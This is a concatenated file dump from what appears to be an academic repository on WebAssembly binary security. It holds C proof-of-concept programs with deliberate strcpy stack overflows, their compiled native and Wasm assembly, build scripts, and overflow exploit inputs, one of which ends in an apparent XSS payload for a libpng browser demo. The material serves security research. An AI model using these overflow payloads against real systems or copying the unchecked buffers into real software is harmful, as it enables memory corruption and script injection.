.L__const.main.two_bufs, 16 108 | 109 | 110 | .ident "clang version 10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 111 | .globaltype __stack_pointer, i32 112 | .functype strcpy (i32, i32) -> (i32) 113 | .functype iprintf (i32, i32) -> (i32) 114 | .functype getTempRet0 () -> (i32) 115 | .functype setTempRet0 (i32) -> () 116 | .size __THREW__, 4 117 | .size __threwValue, 4 118 | .section .custom_section.producers,"",@ 119 | .int8 1 120 | .int8 12 121 | .ascii "processed-by" 122 | .int8 1 123 | .int8 5 124 | .ascii "clang" 125 | .ascii "\206\001" 126 | .ascii "10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 127 | .section .rodata..L__const.main.two_bufs,"",@ 128 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame.native: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow-data-only/out/same-frame.native -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame.native.s: -------------------------------------------------------------------------------- 1 | .text 2 | .intel_syntax noprefix 3 | .file "same-frame.c" 4 | .globl print_bufs # -- Begin function print_bufs 5 | .p2align 4, 0x90 6 | .type print_bufs,@function 7 | print_bufs: # @print_bufs 8 | .cfi_startproc 9 | # %bb.0: 10 | push rbx 11 | .cfi_def_cfa_offset 16 12 | .cfi_offset rbx, -16 13 | mov rbx, rsi 14 | mov rcx, rdi 15 | mov edi, offset .L.str 16 | xor eax, eax 17 | mov rsi, rcx 18 | mov rdx, rcx 19 | call printf 20 | mov edi, offset .L.str.1 21 | xor eax, eax 22 | mov rsi, rbx 23 | mov rdx, rbx 24 | pop rbx 25 | jmp printf # TAILCALL 26 | .Lfunc_end0: 27 | .size print_bufs, .Lfunc_end0-print_bufs 28 | .cfi_endproc 29 | # -- End function 30 | .globl main # -- Begin function main 31 | .p2align 4, 0x90 32 | .type main,@function 33 | main: # @main 34 | .cfi_startproc 35 | # %bb.0: 36 | push r15 37 | .cfi_def_cfa_offset 16 38 | push r14 39 | .cfi_def_cfa_offset 24 40 | push rbx 41 | .cfi_def_cfa_offset 32 42 | sub rsp, 32 43 | .cfi_def_cfa_offset 64 44 | .cfi_offset rbx, -32 45 | .cfi_offset r14, -24 46 | .cfi_offset r15, -16 47 | mov rax, qword ptr fs:[40] 48 | mov qword ptr [rsp + 24], rax 49 | mov rbx, rsi 50 | movabs rax, 18650200809816642 51 | mov qword ptr [rsp + 8], rax 52 | lea r14, [rsp + 16] 53 | lea r15, [rsp + 8] 54 | mov rdi, r14 55 | mov rsi, r15 56 | call print_bufs 57 | mov rsi, qword ptr [rbx + 8] 58 | mov rdi, r14 59 | call strcpy 60 | mov rdi, r14 61 | mov rsi, r15 62 | call print_bufs 63 | mov rax, qword ptr fs:[40] 64 | cmp rax, qword ptr [rsp + 24] 65 | jne .LBB1_2 66 | # %bb.1: 67 | xor eax, eax 68 | add rsp, 32 69 | pop rbx 70 | pop r14 71 | pop r15 72 | ret 73 | .LBB1_2: 74 | call __stack_chk_fail 75 | .Lfunc_end1: 76 | .size main, .Lfunc_end1-main 77 | .cfi_endproc 78 | # -- End function 79 | .type .L.str,@object # @.str 80 | .section .rodata.str1.1,"aMS",@progbits,1 81 | .L.str: 82 | .asciz "&buf_overflow: %p\n buf_overflow: %s\n" 83 | .size .L.str, 41 84 | 85 | .type .L.str.1,@object # @.str.1 86 | .L.str.1: 87 | .asciz "&buf_other_data: %p\n buf_other_data: %s\n" 88 | .size .L.str.1, 41 89 | 90 | 91 | .ident "clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)" 92 | .section ".note.GNU-stack","",@progbits 93 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow-data-only/out/same-frame.wasm -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame.wasm.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":["/mnt/Data/Downloads/2019-09-26-wasm-poc-exploits/01-stack-overflow-same-frame/same-frame.c"],"names":[],"mappings":"2jBAYA,YACE,wBACA,qBACF,SAEA,UASO,cAGL,SAKA,AAFqB,EAArB,EAAqB,UAErB,OAKA"} -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/out/same-frame.wasm.s: -------------------------------------------------------------------------------- 1 | .text 2 | .file "same-frame.c" 3 | .section .text.print_bufs,"",@ 4 | .hidden print_bufs # -- Begin function print_bufs 5 | .globl print_bufs 6 | .type print_bufs,@function 7 | print_bufs: # @print_bufs 8 | .functype print_bufs (i32, i32) -> () 9 | .local i32 10 | # %bb.0: # %entry 11 | global.get __stack_pointer 12 | i32.const 32 13 | i32.sub 14 | local.tee 2 15 | global.set __stack_pointer 16 | local.get 2 17 | local.get 0 18 | i32.store 20 19 | local.get 2 20 | local.get 0 21 | i32.store 16 22 | i32.const .L.str 23 | local.get 2 24 | i32.const 16 25 | i32.add 26 | i32.call iprintf 27 | drop 28 | local.get 2 29 | local.get 1 30 | i32.store 4 31 | local.get 2 32 | local.get 1 33 | i32.store 0 34 | i32.const .L.str.1 35 | local.get 2 36 | i32.call iprintf 37 | drop 38 | local.get 2 39 | i32.const 32 40 | i32.add 41 | global.set __stack_pointer 42 | # fallthrough-return-void 43 | end_function 44 | .Lfunc_end0: 45 | .size print_bufs, .Lfunc_end0-print_bufs 46 | # -- End function 47 | .section .text.main,"",@ 48 | .hidden main # -- Begin function main 49 | .globl main 50 | .type main,@function 51 | main: # @main 52 | .functype main (i32, i32) -> (i32) 53 | .local i32 54 | # %bb.0: # %entry 55 | global.get __stack_pointer 56 | i32.const 16 57 | i32.sub 58 | local.tee 2 59 | global.set __stack_pointer 60 | local.get 2 61 | i64.const 18650200809816642 62 | i64.store 8 63 | local.get 2 64 | local.get 2 65 | i32.const 8 66 | i32.add 67 | call print_bufs 68 | local.get 2 69 | local.get 1 70 | i32.load 4 71 | i32.call strcpy 72 | local.get 2 73 | i32.const 8 74 | i32.add 75 | call print_bufs 76 | local.get 2 77 | i32.const 16 78 | i32.add 79 | global.set __stack_pointer 80 | i32.const 0 81 | # fallthrough-return-value 82 | end_function 83 | .Lfunc_end1: 84 | .size main, .Lfunc_end1-main 85 | # -- End function 86 | .type .L.str,@object # @.str 87 | .section .rodata..L.str,"",@ 88 | .L.str: 89 | .asciz "&buf_overflow: %p\n buf_overflow: %s\n" 90 | .size .L.str, 41 91 | 92 | .type .L.str.1,@object # @.str.1 93 | .section .rodata..L.str.1,"",@ 94 | .L.str.1: 95 | .asciz "&buf_other_data: %p\n buf_other_data: %s\n" 96 | .size .L.str.1, 41 97 | 98 | 99 | .ident "clang version 10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 100 | .globaltype __stack_pointer, i32 101 | .functype strcpy (i32, i32) -> (i32) 102 | .functype iprintf (i32, i32) -> (i32) 103 | .functype getTempRet0 () -> (i32) 104 | .functype setTempRet0 (i32) -> () 105 | .size __THREW__, 4 106 | .size __threwValue, 4 107 | .section .custom_section.producers,"",@ 108 | .int8 1 109 | .int8 12 110 | .ascii "processed-by" 111 | .int8 1 112 | .int8 5 113 | .ascii "clang" 114 | .ascii "\206\001" 115 | .ascii "10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 116 | .section .rodata..L.str.1,"",@ 117 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow-data-only/same-frame.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Stack-based buffer overflow example. 5 | // Characteristics: 6 | // - Corrupted other data is in same call frame (and _not_ in the call frame of the caller). 7 | // - Type of overflowed data is also an array (and _not_ a struct or function ptr). 8 | // - Behavior after the overflow is "data-only" (and _not_ changing the control flow directly as 9 | // with an overwritten function pointer.) 10 | 11 | // Put printing into own function as to avoid more stack allocations in main(). 12 | __attribute((noinline)) 13 | void print_bufs(char * buf_overflow, char * buf_other_data) { 14 | printf("&buf_overflow: %p\n buf_overflow: %s\n", buf_overflow, buf_overflow); 15 | printf("&buf_other_data: %p\n buf_other_data: %s\n", buf_other_data, buf_other_data); 16 | } 17 | 18 | int main(int argc, char **argv) { 19 | // If other_data will be overwritten by an overflow of buf_overflow depends on the placement on 20 | // the stack. 21 | // Clang with -fstack-protector will place buf_overflow[] next to the cookie, so it doesn't work 22 | // regardless of the order in the source code (see same-frame.native.s, overflow gets placed 23 | // _after_ other_data). 24 | // But for Wasm it _does_ work like this: 25 | // We could imagine other_data to be unsanitized DOM inputs, whereas buf_overflow is user-provided 26 | // data. 27 | char buf_other_data[8] = "BBBBBBB\0"; 28 | char buf_overflow[8]; 29 | 30 | print_bufs(buf_overflow, buf_other_data); 31 | 32 | // Overflow happens here. 33 | strcpy(buf_overflow, argv[1]); 34 | 35 | print_bufs(buf_overflow, buf_other_data); 36 | 37 | return 0; 38 | } 39 | 40 | // EXPLOIT with 41 | // callMain(["AAAAAAAAAAAAAAAAAAAAAAAAA"]) -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // NOTE Types are not even compatible, but map to the same wasm types. 5 | void evil(int unused) { printf("evil called\n"); } 6 | 7 | __attribute__((noinline)) void vulnerable(char *bar) { 8 | char buf[8]; 9 | strcpy(buf, bar); // no bounds checking 10 | } 11 | 12 | void foo(char *unused) {} 13 | void bar(char *unused) {} 14 | 15 | int main(int argc, char **argv) { 16 | printf("argc: %d\nargv: %p\nargv[0]: %s\nargv[1]: %s\n", argc, argv, argv[0], 17 | argv[1]); 18 | 19 | void (*func_ptr)(char *); 20 | if (argc > 1337) { 21 | func_ptr = &foo; 22 | } else if (argc > 42) { 23 | func_ptr = &bar; 24 | } else { 25 | func_ptr = &vulnerable; 26 | } 27 | 28 | // Take address of func_ptr to force it to be stored in memory, not as a local. 29 | // (We could not use a stack overflow to overwrite a local.) 30 | printf("&func_ptr: %p\nfunc_ptr: %p\n", &func_ptr, func_ptr); 31 | 32 | vulnerable(argv[1]); 33 | 34 | printf("&func_ptr: %p\nfunc_ptr: %p\n", &func_ptr, func_ptr); 35 | 36 | (*func_ptr)("aaaa"); 37 | } 38 | 39 | __attribute__((used)) void dead_code() { printf("%p\n", evil); } 40 | 41 | // EXPLOIT with 42 | // callMain(["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\04"]) -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/out/main.native: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow/out/main.native -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/out/main.native.s: -------------------------------------------------------------------------------- 1 | .text 2 | .intel_syntax noprefix 3 | .file "main.c" 4 | .globl evil # -- Begin function evil 5 | .p2align 4, 0x90 6 | .type evil,@function 7 | evil: # @evil 8 | .cfi_startproc 9 | # %bb.0: 10 | mov edi, offset .Lstr 11 | jmp puts # TAILCALL 12 | .Lfunc_end0: 13 | .size evil, .Lfunc_end0-evil 14 | .cfi_endproc 15 | # -- End function 16 | .globl vulnerable # -- Begin function vulnerable 17 | .p2align 4, 0x90 18 | .type vulnerable,@function 19 | vulnerable: # @vulnerable 20 | .cfi_startproc 21 | # %bb.0: 22 | sub rsp, 24 23 | .cfi_def_cfa_offset 32 24 | mov rax, rdi 25 | mov rcx, qword ptr fs:[40] 26 | mov qword ptr [rsp + 16], rcx 27 | lea rdi, [rsp + 8] 28 | mov rsi, rax 29 | call strcpy 30 | mov rax, qword ptr fs:[40] 31 | cmp rax, qword ptr [rsp + 16] 32 | jne .LBB1_2 33 | # %bb.1: 34 | add rsp, 24 35 | ret 36 | .LBB1_2: 37 | call __stack_chk_fail 38 | .Lfunc_end1: 39 | .size vulnerable, .Lfunc_end1-vulnerable 40 | .cfi_endproc 41 | # -- End function 42 | .globl foo # -- Begin function foo 43 | .p2align 4, 0x90 44 | .type foo,@function 45 | foo: # @foo 46 | .cfi_startproc 47 | # %bb.0: 48 | ret 49 | .Lfunc_end2: 50 | .size foo, .Lfunc_end2-foo 51 | .cfi_endproc 52 | # -- End function 53 | .globl bar # -- Begin function bar 54 | .p2align 4, 0x90 55 | .type bar,@function 56 | bar: # @bar 57 | .cfi_startproc 58 | # %bb.0: 59 | ret 60 | .Lfunc_end3: 61 | .size bar, .Lfunc_end3-bar 62 | .cfi_endproc 63 | # -- End function 64 | .globl main # -- Begin function main 65 | .p2align 4, 0x90 66 | .type main,@function 67 | main: # @main 68 | .cfi_startproc 69 | # %bb.0: 70 | push rbp 71 | .cfi_def_cfa_offset 16 72 | push rbx 73 | .cfi_def_cfa_offset 24 74 | push rax 75 | .cfi_def_cfa_offset 32 76 | .cfi_offset rbx, -24 77 | .cfi_offset rbp, -16 78 | mov rbx, rsi 79 | mov ebp, edi 80 | mov rcx, qword ptr [rbx] 81 | mov r8, qword ptr [rbx + 8] 82 | mov edi, offset .L.str.1 83 | xor eax, eax 84 | mov esi, ebp 85 | mov rdx, rbx 86 | call printf 87 | cmp ebp, 1338 88 | jl .LBB4_2 89 | # %bb.1: 90 | mov qword ptr [rsp], offset foo 91 | mov edx, offset foo 92 | jmp .LBB4_5 93 | .LBB4_2: 94 | cmp ebp, 43 95 | jl .LBB4_4 96 | # %bb.3: 97 | mov qword ptr [rsp], offset bar 98 | mov edx, offset bar 99 | jmp .LBB4_5 100 | .LBB4_4: 101 | mov qword ptr [rsp], offset vulnerable 102 | mov edx, offset vulnerable 103 | .LBB4_5: 104 | mov rbp, rsp 105 | mov edi, offset .L.str.2 106 | xor eax, eax 107 | mov rsi, rbp 108 | call printf 109 | mov rdi, qword ptr [rbx + 8] 110 | call vulnerable 111 | mov rdx, qword ptr [rsp] 112 | mov edi, offset .L.str.2 113 | xor eax, eax 114 | mov rsi, rbp 115 | call printf 116 | mov edi, offset .L.str.3 117 | call qword ptr [rsp] 118 | xor eax, eax 119 | add rsp, 8 120 | pop rbx 121 | pop rbp 122 | ret 123 | .Lfunc_end4: 124 | .size main, .Lfunc_end4-main 125 | .cfi_endproc 126 | # -- End function 127 | .globl dead_code # -- Begin function dead_code 128 | .p2align 4, 0x90 129 | .type dead_code,@function 130 | dead_code: # @dead_code 131 | .cfi_startproc 132 | # %bb.0: 133 | mov edi, offset .L.str.4 134 | mov esi, offset evil 135 | xor eax, eax 136 | jmp printf # TAILCALL 137 | .Lfunc_end5: 138 | .size dead_code, .Lfunc_end5-dead_code 139 | .cfi_endproc 140 | # -- End function 141 | .type .L.str.1,@object # @.str.1 142 | .section .rodata.str1.1,"aMS",@progbits,1 143 | .L.str.1: 144 | .asciz "argc: %d\nargv: %p\nargv[0]: %s\nargv[1]: %s\n" 145 | .size .L.str.1, 43 146 | 147 | .type .L.str.2,@object # @.str.2 148 | .L.str.2: 149 | .asciz "&func_ptr: %p\nfunc_ptr: %p\n" 150 | .size .L.str.2, 29 151 | 152 | .type .L.str.3,@object # @.str.3 153 | .L.str.3: 154 | .asciz "aaaa" 155 | .size .L.str.3, 5 156 | 157 | .type .L.str.4,@object # @.str.4 158 | .L.str.4: 159 | .asciz "%p\n" 160 | .size .L.str.4, 4 161 | 162 | .type .Lstr,@object # @str 163 | .Lstr: 164 | .asciz "evil called" 165 | .size .Lstr, 12 166 | 167 | 168 | .ident "clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)" 169 | .section ".note.GNU-stack","",@progbits 170 | -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/out/main.wasm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/attack-primitives/stack-buffer-overflow/out/main.wasm -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/out/main.wasm.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":["/mnt/Data/Downloads/2019-09-26-wasm-poc-exploits/01-stack-overflow/main.c"],"names":[],"mappings":"2mBAIA,CAAwB,EAAyB,EAEjD,YAEE,SACF,SAEA,EAAwB,GAGxB,cACuE,OAArE,+BASW,IATX,AAKW,EADF,SACE,AAEA,EADK,QAGL,QAMX,2BAEW,OAEyC,AAApD,EAAoD,QAApD,UAJA,GAIA,IAEE,AAAF,GAAE,QAIJ,WAGA,YAAyC,cAAsB"} -------------------------------------------------------------------------------- /attack-primitives/stack-buffer-overflow/out/main.wasm.s: -------------------------------------------------------------------------------- 1 | .text 2 | .file "main.c" 3 | .section .text.evil,"",@ 4 | .hidden evil # -- Begin function evil 5 | .globl evil 6 | .type evil,@function 7 | evil: # @evil 8 | .functype evil (i32) -> () 9 | # %bb.0: # %entry 10 | i32.const .Lstr 11 | i32.call puts 12 | drop 13 | # fallthrough-return-void 14 | end_function 15 | .Lfunc_end0: 16 | .size evil, .Lfunc_end0-evil 17 | # -- End function 18 | .section .text.vulnerable,"",@ 19 | .hidden vulnerable # -- Begin function vulnerable 20 | .globl vulnerable 21 | .type vulnerable,@function 22 | vulnerable: # @vulnerable 23 | .functype vulnerable (i32) -> () 24 | .local i32 25 | # %bb.0: # %entry 26 | global.get __stack_pointer 27 | i32.const 16 28 | i32.sub 29 | local.tee 1 30 | global.set __stack_pointer 31 | local.get 1 32 | i32.const 8 33 | i32.add 34 | local.get 0 35 | i32.call strcpy 36 | drop 37 | local.get 1 38 | i32.const 16 39 | i32.add 40 | global.set __stack_pointer 41 | # fallthrough-return-void 42 | end_function 43 | .Lfunc_end1: 44 | .size vulnerable, .Lfunc_end1-vulnerable 45 | # -- End function 46 | .section .text.foo,"",@ 47 | .hidden foo # -- Begin function foo 48 | .globl foo 49 | .type foo,@function 50 | foo: # @foo 51 | .functype foo (i32) -> () 52 | # %bb.0: # %entry 53 | # fallthrough-return-void 54 | end_function 55 | .Lfunc_end2: 56 | .size foo, .Lfunc_end2-foo 57 | # -- End function 58 | .section .text.bar,"",@ 59 | .hidden bar # -- Begin function bar 60 | .globl bar 61 | .type bar,@function 62 | bar: # @bar 63 | .functype bar (i32) -> () 64 | # %bb.0: # %entry 65 | # fallthrough-return-void 66 | end_function 67 | .Lfunc_end3: 68 | .size bar, .Lfunc_end3-bar 69 | # -- End function 70 | .section .text.main,"",@ 71 | .hidden main # -- Begin function main 72 | .globl main 73 | .type main,@function 74 | main: # @main 75 | .functype main (i32, i32) -> (i32) 76 | .local i32, i64 77 | # %bb.0: # %entry 78 | global.get __stack_pointer 79 | i32.const 64 80 | i32.sub 81 | local.tee 2 82 | global.set __stack_pointer 83 | local.get 1 84 | i64.load 0:p2align=2 85 | local.set 3 86 | local.get 2 87 | local.get 1 88 | i32.store 36 89 | local.get 2 90 | local.get 3 91 | i64.store 40 92 | local.get 2 93 | local.get 0 94 | i32.store 32 95 | i32.const .L.str.1 96 | local.get 2 97 | i32.const 32 98 | i32.add 99 | i32.call iprintf 100 | drop 101 | block 102 | block 103 | local.get 0 104 | i32.const 1338 105 | i32.lt_s 106 | br_if 0 # 0: down to label1 107 | # %bb.1: # %if.then 108 | i32.const foo 109 | local.set 0 110 | br 1 # 1: down to label0 111 | .LBB4_2: # %if.else 112 | end_block # label1: 113 | block 114 | local.get 0 115 | i32.const 43 116 | i32.lt_s 117 | br_if 0 # 0: down to label2 118 | # %bb.3: # %if.then3 119 | i32.const bar 120 | local.set 0 121 | br 1 # 1: down to label0 122 | .LBB4_4: # %if.else4 123 | end_block # label2: 124 | i32.const vulnerable 125 | local.set 0 126 | .LBB4_5: # %if.end5 127 | end_block # label0: 128 | local.get 2 129 | local.get 0 130 | i32.store 60 131 | local.get 2 132 | local.get 0 133 | i32.store 20 134 | local.get 2 135 | local.get 2 136 | i32.const 60 137 | i32.add 138 | i32.store 16 139 | i32.const .L.str.2 140 | local.get 2 141 | i32.const 16 142 | i32.add 143 | i32.call iprintf 144 | drop 145 | local.get 1 146 | i32.load 4 147 | call vulnerable 148 | local.get 2 149 | local.get 2 150 | i32.load 60 151 | i32.store 4 152 | local.get 2 153 | local.get 2 154 | i32.const 60 155 | i32.add 156 | i32.store 0 157 | i32.const .L.str.2 158 | local.get 2 159 | i32.call iprintf 160 | drop 161 | i32.const .L.str.3 162 | local.get 2 163 | i32.load 60 164 | call_indirect (i32) -> () 165 | local.get 2 166 | i32.const 64 167 | i32.add 168 | global.set __stack_pointer 169 | i32.const 0 170 | # fallthrough-return-value 171 | end_function 172 | .Lfunc_end4: 173 | .size main, .Lfunc_end4-main 174 | # -- End function 175 | .section .text.dead_code,"",@ 176 | .hidden dead_code # -- Begin function dead_code 177 | .globl dead_code 178 | .type dead_code,@function 179 | dead_code: # @dead_code 180 | .functype dead_code () -> () 181 | .local i32 182 | # %bb.0: # %entry 183 | global.get __stack_pointer 184 | i32.const 16 185 | i32.sub 186 | local.tee 0 187 | global.set __stack_pointer 188 | local.get 0 189 | i32.const evil 190 | i32.store 0 191 | i32.const .L.str.4 192 | local.get 0 193 | i32.call iprintf 194 | drop 195 | local.get 0 196 | i32.const 16 197 | i32.add 198 | global.set __stack_pointer 199 | # fallthrough-return-void 200 | end_function 201 | .Lfunc_end5: 202 | .size dead_code, .Lfunc_end5-dead_code 203 | # -- End function 204 | .type .L.str.1,@object # @.str.1 205 | .section .rodata..L.str.1,"",@ 206 | .L.str.1: 207 | .asciz "argc: %d\nargv: %p\nargv[0]: %s\nargv[1]: %s\n" 208 | .size .L.str.1, 43 209 | 210 | .type .L.str.2,@object # @.str.2 211 | .section .rodata..L.str.2,"",@ 212 | .L.str.2: 213 | .asciz "&func_ptr: %p\nfunc_ptr: %p\n" 214 | .size .L.str.2, 29 215 | 216 | .type .L.str.3,@object # @.str.3 217 | .section .rodata..L.str.3,"",@ 218 | .L.str.3: 219 | .asciz "aaaa" 220 | .size .L.str.3, 5 221 | 222 | .type .L.str.4,@object # @.str.4 223 | .section .rodata..L.str.4,"",@ 224 | .L.str.4: 225 | .asciz "%p\n" 226 | .size .L.str.4, 4 227 | 228 | .type .Lstr,@object # @str 229 | .section .rodata..Lstr,"",@ 230 | .Lstr: 231 | .asciz "evil called" 232 | .size .Lstr, 12 233 | 234 | .no_dead_strip dead_code 235 | 236 | .ident "clang version 10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 237 | .globaltype __stack_pointer, i32 238 | .functype strcpy (i32, i32) -> (i32) 239 | .functype puts (i32) -> (i32) 240 | .functype iprintf (i32, i32) -> (i32) 241 | .functype getTempRet0 () -> (i32) 242 | .functype setTempRet0 (i32) -> () 243 | .size __THREW__, 4 244 | .size __threwValue, 4 245 | .section .custom_section.producers,"",@ 246 | .int8 1 247 | .int8 12 248 | .ascii "processed-by" 249 | .int8 1 250 | .int8 5 251 | .ascii "clang" 252 | .ascii "\206\001" 253 | .ascii "10.0.0 (/b/s/w/ir/cache/git/chromium.googlesource.com-external-github.com-llvm-llvm--project 12e915b3fcc55b8394dce3105a24c009e516d153)" 254 | .section .rodata..Lstr,"",@ 255 | -------------------------------------------------------------------------------- /compilers/get-versions.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Clang 4 | # Download from https://github.com/CraneStation/wasi-sdk/releases 5 | echo "Clang version and configured target" 6 | wasi/wasi-sdk-8.0-linux/wasi-sdk-8.0/bin/clang --version 7 | echo 8 | 9 | # Rust 10 | # Install and/or update if not already done: https://github.com/CraneStation/wasi-sdk/releases 11 | # rustup update 12 | echo "Rust compiler version and installed targets:" 13 | rustc --version 14 | rustc +nightly --version 15 | rustup target list | grep wasm 16 | echo 17 | 18 | # Emscripten 19 | # Install and/or update if not already done 20 | # mkdir -p emcc-upstream emcc-fastcomp 21 | # pushd emcc-upstream 22 | # git clone https://github.com/emscripten-core/emsdk.git 23 | # cd emsdk 24 | # git pull 25 | # ./emsdk install latest 26 | # ./emsdk activate latest 27 | # popd 28 | 29 | # pushd emcc-fastcomp 30 | # git clone https://github.com/emscripten-core/emsdk.git 31 | # cd emsdk 32 | # git pull 33 | # ./emsdk install latest-fastcomp 34 | # ./emsdk activate latest-fastcomp 35 | # popd 36 | 37 | echo "Emscripten compiler version (upstream and fastcomp backend)" 38 | source ./emcc-upstream/emsdk/emsdk_env.sh > /dev/null 39 | emcc --version | grep emcc 40 | -------------------------------------------------------------------------------- /compilers/versions.txt: -------------------------------------------------------------------------------- 1 | - emscripten, installed with emsdk on 2020-02-05 2 | * emcc --version: 1.39.7 3 | * ./emsdk install latest: upstream llvm backend 4 | * ./emsdk install latest-fastcomp: legacy fastcomp backend 5 | - clang, installed from wasi-sdk on 2020-01-09 6 | * ./wasi-sdk-8.0-linux/wasi-sdk-8.0/bin/clang --version: 9.0.0 7 | - rustc, installed via rustup, update from 2020-01-30 8 | * rustc --version: 1.41.0 (5e1a79984 2020-01-27) 9 | * rustc +nightly --version: 1.43.0-nightly (c9290dcee 2020-02-04) 10 | * wasm32-wasi backend 11 | * wasm32-unknown-emscripten backend 12 | -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/00-compile-libpng-native/.gitignore: -------------------------------------------------------------------------------- 1 | /libpng-1.6.35/ 2 | -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/00-compile-libpng-native/libpng-1.6.35.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/end-to-end-exploits/browser-libpng-xss/00-compile-libpng-native/libpng-1.6.35.zip -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/01-reproduce-overflow-native-detected/input-ssp-detected: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/01-reproduce-overflow-native-detected/pnm2png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sola-st/wasm-binary-security/54d660540a0a6979d06afe8a355a29e81507f3d6/end-to-end-exploits/browser-libpng-xss/01-reproduce-overflow-native-detected/pnm2png -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/02-compile-pnm2png-wasm/.gitignore: -------------------------------------------------------------------------------- 1 | /libpng-1.6.35/ 2 | -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/02-compile-pnm2png-wasm/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rm -r libpng-1.6.35 main.wasm main.js out/main.js out/main.wasm 3 | unzip -q libpng-1.6.35.zip 4 | 5 | source ../../../compilers/emcc-upstream/emsdk/emsdk_env.sh 6 | emcc --bind -O2 main.cpp -o out/main.js -std=c++11 -s USE_LIBPNG=1 -s ALLOW_MEMORY_GROWTH=1 -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall']" 7 | 8 | ./server.py -------------------------------------------------------------------------------- /end-to-end-exploits/browser-libpng-xss/02-compile-pnm2png-wasm/inputs/exploit: -------------------------------------------------------------------------------- 1 | AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGHHHHHHHHHHHHyou gor pwned